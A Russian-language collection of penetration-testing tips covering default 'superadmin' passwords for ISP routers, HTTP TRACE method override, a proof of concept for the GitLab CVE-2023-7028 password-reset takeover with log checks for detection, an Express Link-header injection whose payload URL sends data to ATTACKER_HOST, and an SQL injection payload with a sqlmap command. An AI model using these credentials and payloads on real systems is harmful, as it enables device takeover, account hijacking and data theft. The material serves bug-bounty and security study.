Роутер от провайдера

Для меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".

В моем случае, в роутере от МГТС, был следующий root:

mgts;mtsoao

На Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:

telecomadmin;admintelecom
telecomadmin;NWTF5x%RaK8mVbD
telecomadmin;NWTF5x%
telecomadmin;nE7jA%5m

Метод TRACE

Помимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров.

Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда.

Но не так давно прочитал забавности, что метод можно переопределить через
GET /path.html?_method=TRACE HTTP/1.1
или заголовок
_method: TRACE

#gitlab

Забавная логическая уязвимость в Gitlab - CVE-2023-7028

Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника.

PoC:

user[email][]=valid@email.com&user[email][]=attacker@email.com

Для проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.


Проблема проявляется начиная с выпуска GitLab 16.1.0, в котором появилась возможность отправки кода восстановления пароля на неверифицированный запасной email-адрес.

Интересный вектор Client-Side атаки

Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.

Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.

Потому что links внутри express написана так:

res.links = function(links){
  var link = this.get('Link') || '';
  if (link) link += ', ';
  return this.set('Link', link + Object.keys(links).map(function(rel){
    return '<' + links[rel] + '>; rel="' + rel + '"';
  }).join(', '));
};

Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы
Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов
Пример с реального уязвимого сайта выглядит как-то так:

https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",

Так что полный чейн выглядит так:
1. Направляем пользователя на наш сайт
2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс
3. По отстукам на хост понимаем результаты поиска на странице пользователя

Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)
(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )

Bypassing SQL
*
payload:
8%20or%207250%3d0725
*
для sqlmap:
sqlmap -u 'http://OLOLO.com/anyfile.asp?id_test=8%20or%207250%3d07250' --dbs --random-agent ignore=500 - -code=200 -T tablename --columns -- no-cast
*

#sql #bypass